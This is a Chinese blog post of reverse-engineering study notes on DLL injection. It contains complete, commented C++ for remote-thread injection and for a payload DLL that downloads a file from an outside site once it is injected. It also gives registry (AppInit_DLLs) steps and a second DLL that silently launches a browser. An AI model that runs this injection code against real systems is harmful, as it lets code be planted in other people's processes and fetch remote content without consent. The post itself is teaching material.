第23章:DLL注入

使用LoadLibrary()API加载某个Dll时,Dll会被加载到进程,然后会自动运行DllMain()函数.

OS会将已注册的Dll直接注入目标进程,这也是上一章能成功的原因.

 

Dll注入主要使用以下三种方法:

1.创建远程线程 CreatRemoteThread().

2.使用注册表( AppInit_DLLs 值 ).

3.消息钩取 SetWindowsHookEx().

 

第一种是:创建远程线程

下面的代码来自 https://www.52pojie.cn/thread-1142368-1-1.html  ,自己做了一些补充修改

// InjectDll.cpp
#include "windows.h"
#include "tchar.h"

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)    //myhack.dll 的路径被作为参数传入.
{
    HANDLE hProcess = NULL, hThread = NULL;      
    HMODULE hMod = NULL;
    LPVOID pRemoteBuf = NULL;

          //确定路径需要占用的缓冲区大小
    DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);     //求Unicode字符个数
    LPTHREAD_START_ROUTINE pThreadProc;

    // #1. 使用OpenProcess函数获取目标进程句柄(PROCESS_ALL_ACCESS权限)
    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )     //通过PID,获得待注入进程的句柄
    {
        _tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());  
        return FALSE;
    }

    // #2. 使用VirtualAllocEx函数在目标进程中分配内存,大小为 dwBufSize 字节
          // VirtualAllocEx函数返回的是hProcess指向的目标进程的分配所得缓冲区的内存地址
    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);

    // #3.  将myhack.dll路径 ("c:\\..../myhack.dll")写入目标进程中分配到的内存
    WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);

    // #4. 获取LoadLibraryA() API的地址
          // 这里主要利用了kernel32.dll文件在每个进程中的加载地址都相同这一特点,所以不管是获取加载到        
          // InjectDll.exe还是notepad.exe进程的kernel32.dll中的LoadLibraryW函数的地址都是一样的。这里的加载地
          // 址相同指的是在同一次系统运行中,如果再次启动系统kernel32.dll的加载地址会变,但是每个进程的
          // kernerl32.dll的加载地址还是一样的。
// 系统Dll首次进入内存后,Windows为减少不必要的加载,会直接将其它进程系统Dll映射到要加载的进程中.

          hMod = GetModuleHandle(L"kernel32.dll");
    pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

    // #5. 在目标进程notepad.exe中运行远程线程
          // pThreadProc = notepad.exe进程内存中的LoadLibraryW()地址
          // pRemoteBuf = notepad.exe进程内存中待加载注入dll的路径字符串的地址
    hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);  //使得可以在 hprocess 中执行 pThreadProc 线程,参数是 pRemoteBuf .
    WaitForSingleObject(hThread, INFINITE);        

          //同样,记得关闭句柄
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}

int _tmain(int argc, TCHAR *argv[])       // 文件名(default)、pid、Dll路径  一共三个参数
{
    if( argc != 3)
    {
        _tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
        return 1;
    }

    // change privilege
    if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )      //获得权限
        return 1;

    // inject dll
    if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )     //调用Dll函数
        _tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
    else
        _tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);

    return 0;
}
// myhack.cpp
#include "windows.h"
#include "tchar.h"         //解决兼容字符集,国际化字符集

#pragma comment(lib, "urlmon.lib")      //引入静态库

#define DEF_URL         (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME   (L"index.html")

HMODULE g_hMod = NULL;         //实例句柄

DWORD WINAPI ThreadProc(LPVOID lParam)       //WINAPI == _stdcall
{
    TCHAR szPath[_MAX_PATH] = {0,};

    if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )   //获取当前进程已加载模块的文件的完整路径
        return FALSE;                                      //g_hMod在DllMain中以被赋值

    TCHAR *p = _tcsrchr( szPath, '\\' );   //返回第一次在字符串中出现的该字符的指针,如果要查找的字符再串中没有出现,则返回NULL
    if( !p )
        return FALSE;

    _tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);   //参数准备,完善下载文件的绝对地址

    URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL); //调用函数进行URL下载

    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) //LPVOID -> 任意类型
{
    HANDLE hThread = NULL;

    g_hMod = (HMODULE)hinstDLL;  //HMODULE表示模块句柄。代表应用程序载入的模块,win32系统下通常是被载入模块的线性地址。
                                 //HINSTANCE 在win32下与HMODULE是相同的东西
    switch( fdwReason )
    {
    case DLL_PROCESS_ATTACH : 
        OutputDebugString(L"<myhack.dll> Injection!!!");

        //创建远程线程进行download,调用 ThreadProc 函数
        hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);

        // 需要注意,切记随手关闭句柄,保持好习惯
        CloseHandle(hThread);
        break;
    }

    return TRUE;
}

 调试时,先打开notepad.exe程序,在OD中附加该程序,按F9跑起来,并且选中在DLL入口处断住.然后在cmd中加参数运行InjectDll.exe程序.

在OD中继续按F9直到看见myhack.dll载入.

 

第二种是修改注册表.

在注册表编辑器中,将要注入的DLL的路径字符写入AppInint_DLLs项目,然后把LoadAppInint_DLLs的值设置为1.重启后指定DLL会注入所有运行进程.

// myhack2.cpp

#include "windows.h"
#include "tchar.h"

#define DEF_CMD  L"c:\\Program Files\\Internet Explorer\\iexplore.exe" 
#define DEF_ADDR L"http://www.naver.com"
#define DEF_DST_PROC L"notepad.exe"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    TCHAR szCmd[MAX_PATH]  = {0,};
    TCHAR szPath[MAX_PATH] = {0,};
    TCHAR *p = NULL;
    STARTUPINFO si = {0,};
    PROCESS_INFORMATION pi = {0,};

    si.cb = sizeof(STARTUPINFO); 
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    switch( fdwReason )
    {
    case DLL_PROCESS_ATTACH : 
        if( !GetModuleFileName( NULL, szPath, MAX_PATH ) )
            break;
   
        if( !(p = _tcsrchr(szPath, '\\')) )    //返回最后一次在字符串中出现的该字符的指针,如果要查找的字符再串中没有出现,则返回NULL
            break;

        if( _tcsicmp(p+1, DEF_DST_PROC) )
            break;

        wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);       //将数据写入缓冲区szCmd
        if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd,    //LPCTSTR == 判断字符是否为Unicode
                            NULL, NULL, FALSE,              //LPSTR == 指向字符或字符串的指针
                            NORMAL_PRIORITY_CLASS, 
                            NULL, NULL, &si, &pi) )         //以参数 DEF_ADDR 打开 explore 程序
            break;

        if( pi.hProcess != NULL )
            CloseHandle(pi.hProcess);

        break;
    }
   
    return TRUE;
}

 重启系统后就可以自动加载

posted @ 2020-07-24 23:20  Rev_omi  阅读(262)  评论(0编辑  收藏  举报